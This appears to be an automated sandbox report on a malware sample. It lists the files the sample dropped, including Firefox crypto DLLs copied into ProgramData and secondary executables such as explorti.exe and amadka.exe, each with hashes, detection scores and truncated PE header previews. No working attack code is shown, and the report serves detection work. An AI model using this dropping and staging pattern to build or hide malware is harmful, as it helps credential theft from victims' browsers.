Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.035566206169367
Encrypted:	false
SSDEEP:	24576:1qDEvCTbMWu7rQYlBQcBiT6rprG8auA2+b+HdiJUX:1TvC/MTQYxsWR7auA2+b+HoJU
MD5:	86738DD73219B83320BA19AF11C97E11
SHA1:	A18AE0B3ABF1AABECE29993B227EEF15F8E055E1
SHA-256:	6E517782E2E25B874DDF2861144E814309235517CF517890EFFF1A183C014B21
SHA-512:	45150D8DDC155C52FDE993B308D79BD5FB57C835339DE9BEE7E98A7A035A79AC947D8ECAB8BBD2873B4BA75B3A6A5956769A234C929C183B7FDF1284CE08E3AE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......f..........".................w.............@..........................0......E.....@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2533376
Entropy (8bit):	7.9843608049585715
Encrypted:	false
SSDEEP:	49152:vPiQkQzZS8gLMKRldUs2oubV45E0DILOwn191hp/bGiW7Vsf5NB4n/FcnqbLi9f:z59XEM4dUlouh0EgIfTs37V89YFcnqbY
MD5:	DE1D8C161D81BA79C888FEF77C75DB93
SHA1:	55E3B5E658D41D98779214AFB48D34C66BF17346
SHA-256:	31CBDCDB540D6BC6FBC616C288F6F7AD7C74FE74EFF55A135DAFC31853B76126
SHA-512:	4D243246E4476555A4B018D2DF63AE93DA8C64096523C8F8B20BA616B0DEC97C21E4BED7DCED51DA50C0908AD3DA6B882B11DE6D668B71852F2290850A6810EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....f......................!...................@..........................0............@... .. .... .. .......... ...e..............................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............x...#..(..................@....data....."......t"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1906688
Entropy (8bit):	7.948677485527241
Encrypted:	false
SSDEEP:	49152:92LAr/bTSrpFur5pLy+6qZii+4oCo3+Hok:9beLuVpL71iCe
MD5:	32990CFA629B89533FB2A04AE8E966C5
SHA1:	1438AE4069286CA2174EE15B8C5C7CB169C93F1D
SHA-256:	EEC4AAAF11532078AF1AE71B818197764474F7FFF7BC8A2CD6B495D6E84772AD
SHA-512:	3DB1B9D51585A66166C579AC1F502A65F77FAC95BBBA7D9F497B1C82D585AC6AAF095D69279C99250CA13F04BF9E8F048BF61A6113AB879C3F6CFABAE0C5A0C8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................K..........@.................................X...l.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...aosuufqe......1.....................@...lxnltetw......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2533376
Entropy (8bit):	7.9843608049585715
Encrypted:	false
SSDEEP:	49152:vPiQkQzZS8gLMKRldUs2oubV45E0DILOwn191hp/bGiW7Vsf5NB4n/FcnqbLi9f:z59XEM4dUlouh0EgIfTs37V89YFcnqbY
MD5:	DE1D8C161D81BA79C888FEF77C75DB93
SHA1:	55E3B5E658D41D98779214AFB48D34C66BF17346
SHA-256:	31CBDCDB540D6BC6FBC616C288F6F7AD7C74FE74EFF55A135DAFC31853B76126
SHA-512:	4D243246E4476555A4B018D2DF63AE93DA8C64096523C8F8B20BA616B0DEC97C21E4BED7DCED51DA50C0908AD3DA6B882B11DE6D668B71852F2290850A6810EA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.dZ............a.......a.......a...5...............................Z...a.......a.......Rich............................PE..L.....f......................!...................@..........................0............@... .. .... .. .......... ...e..............................................................................................................................................................@....................@..................@............0!..@......................@............P...p#.. ..................@.............x...#..(..................@....data....."......t"..4..............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1166336
Entropy (8bit):	7.035566206169367
Encrypted:	false
SSDEEP:	24576:1qDEvCTbMWu7rQYlBQcBiT6rprG8auA2+b+HdiJUX:1TvC/MTQYxsWR7auA2+b+HoJU
MD5:	86738DD73219B83320BA19AF11C97E11
SHA1:	A18AE0B3ABF1AABECE29993B227EEF15F8E055E1
SHA-256:	6E517782E2E25B874DDF2861144E814309235517CF517890EFFF1A183C014B21
SHA-512:	45150D8DDC155C52FDE993B308D79BD5FB57C835339DE9BEE7E98A7A035A79AC947D8ECAB8BBD2873B4BA75B3A6A5956769A234C929C183B7FDF1284CE08E3AE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......f..........".................w.............@..........................0......E.....@...@.......@.....................d...\|....@..\|a.......................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...\|a...@...b..................@..@.reloc...u.......v...V..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1906688
Entropy (8bit):	7.948677485527241
Encrypted:	false
SSDEEP:	49152:92LAr/bTSrpFur5pLy+6qZii+4oCo3+Hok:9beLuVpL71iCe
MD5:	32990CFA629B89533FB2A04AE8E966C5
SHA1:	1438AE4069286CA2174EE15B8C5C7CB169C93F1D
SHA-256:	EEC4AAAF11532078AF1AE71B818197764474F7FFF7BC8A2CD6B495D6E84772AD
SHA-512:	3DB1B9D51585A66166C579AC1F502A65F77FAC95BBBA7D9F497B1C82D585AC6AAF095D69279C99250CA13F04BF9E8F048BF61A6113AB879C3F6CFABAE0C5A0C8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................K..........@.................................X...l.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...aosuufqe......1.....................@...lxnltetw......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1906688
Entropy (8bit):	7.948677485527241
Encrypted:	false
SSDEEP:	49152:92LAr/bTSrpFur5pLy+6qZii+4oCo3+Hok:9beLuVpL71iCe
MD5:	32990CFA629B89533FB2A04AE8E966C5
SHA1:	1438AE4069286CA2174EE15B8C5C7CB169C93F1D
SHA-256:	EEC4AAAF11532078AF1AE71B818197764474F7FFF7BC8A2CD6B495D6E84772AD
SHA-512:	3DB1B9D51585A66166C579AC1F502A65F77FAC95BBBA7D9F497B1C82D585AC6AAF095D69279C99250CA13F04BF9E8F048BF61A6113AB879C3F6CFABAE0C5A0C8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L.....af..............................K...........@...........................K..........@.................................X...l.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...aosuufqe......1.....................@...lxnltetw......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jul 4 19:21:13 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9836537244124846
Encrypted:	false
SSDEEP:	48:8adGTiSCHpidAKZdA19ehwiZUklqehay+3:8DjEZy
MD5:	6A02DD6FED542D6F50FCAE2D936920E5
SHA1:	7F3D3C02982A380ECB57C061DEBA8FA54949B44F
SHA-256:	CBE09A9DEA0E7EE46E303FAA26B44F33FF7012DE4EF682698F8CDAA85462DBB4
SHA-512:	DAA45087F79745089BAE040980737135F3E16654B0AE3E15F306598BE897B6B8AFD2F6247537853F97189105C95180A0B4477E291E14099E3E16EE901C683639
Malicious:	false
